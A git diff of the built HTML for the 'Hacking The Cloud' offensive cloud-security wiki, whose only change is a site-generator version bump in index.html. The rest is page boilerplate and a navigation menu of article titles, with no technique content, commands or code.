MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/index.html b/index.html
index 04ee93093..9142cb720 100644
--- a/index.html
+++ b/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="The encyclopedia for offensive security in the cloud"><link href=https://hackingthe.cloud/ rel=canonical><link href=aws/general-knowledge/aws_cli_tips_and_tricks/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=feed_rss_updated.xml><link rel=icon href=assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Hacking The Cloud - Hacking The Cloud</title><link rel=stylesheet href=assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=stylesheets/extra.css><script>__md_scope=new URL(".",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Hacking The Cloud"><meta property=og:description content="The encyclopedia for offensive security in the cloud"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/index.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Hacking The Cloud"><meta property=twitter:description content="The encyclopedia for offensive security in the cloud"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/index.png> <link href="assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="The encyclopedia for offensive security in the cloud"><link href=https://hackingthe.cloud/ rel=canonical><link href=aws/general-knowledge/aws_cli_tips_and_tricks/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=feed_rss_updated.xml><link rel=icon href=assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Hacking The Cloud - Hacking The Cloud</title><link rel=stylesheet href=assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=stylesheets/extra.css><script>__md_scope=new URL(".",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Hacking The Cloud"><meta property=og:description content="The encyclopedia for offensive security in the cloud"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/index.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Hacking The Cloud"><meta property=twitter:description content="The encyclopedia for offensive security in the cloud"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/index.png> <link href="assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#home class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class="md-tabs__item md-tabs__item--active"> <a href=. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Hacking The Cloud </span> <span class="md-nav__icon md-icon"></span> </label> <a href=. class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Hacking The Cloud </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#contributing class=md-nav__link> <span class=md-ellipsis> Contributing </span> </a> </li> <li class=md-nav__item> <a href=#disclaimer class=md-nav__link> <span class=md-ellipsis> Disclaimer </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li 